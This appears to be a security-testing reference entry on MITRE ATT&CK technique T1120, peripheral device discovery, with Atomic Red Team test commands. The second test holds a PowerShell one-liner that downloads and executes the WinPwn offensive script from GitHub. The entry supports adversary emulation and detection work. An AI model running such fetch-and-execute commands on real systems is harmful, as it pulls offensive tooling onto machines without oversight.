| name | T1120_peripheral-device-discovery |
| description | Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. |
| category | information-gathering |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1120","discovery","linux","windows","macos"] |
| technique_id | T1120 |
| tactic | discovery |
| all_tactics | ["discovery"] |
| platforms | ["Linux","Windows","macOS"] |
| mitre_url | https://attack.mitre.org/techniques/T1120 |
| tech_stack | ["linux","windows","macos"] |
| cwe_ids | ["CWE-200"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
T1120 Peripheral Device Discovery
High-Level Description
Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Kill Chain Phase
Platforms: Linux, Windows, macOS
What to Check
How to Test
Atomic Red Team Tests
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: Win32_PnPEntity Hardware Inventory
Perform peripheral device discovery using Get-WMIObject Win32_PnPEntity
Supported Platforms: windows
Get-WMIObject Win32_PnPEntity | Format-Table Name, Description, Manufacturer > $env:TEMP\T1120_collection.txt
$Space,$Heading,$Break,$Data = Get-Content $env:TEMP\T1120_collection.txt
@($Heading; $Break; $Data |Sort-Object -Unique) | ? {$_.trim() -ne "" } |Set-Content $env:TEMP\T1120_collection.txt
Atomic Test 2: WinPwn - printercheck
Search for printers / potential vulns using printercheck function of WinPwn
Supported Platforms: windows
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
printercheck -noninteractive -consoleoutput
Atomic Test 3: Peripheral Device Discovery via fsutil
Performs pheripheral device discovery utilizing fsutil to list all drives.
Supported Platforms: windows
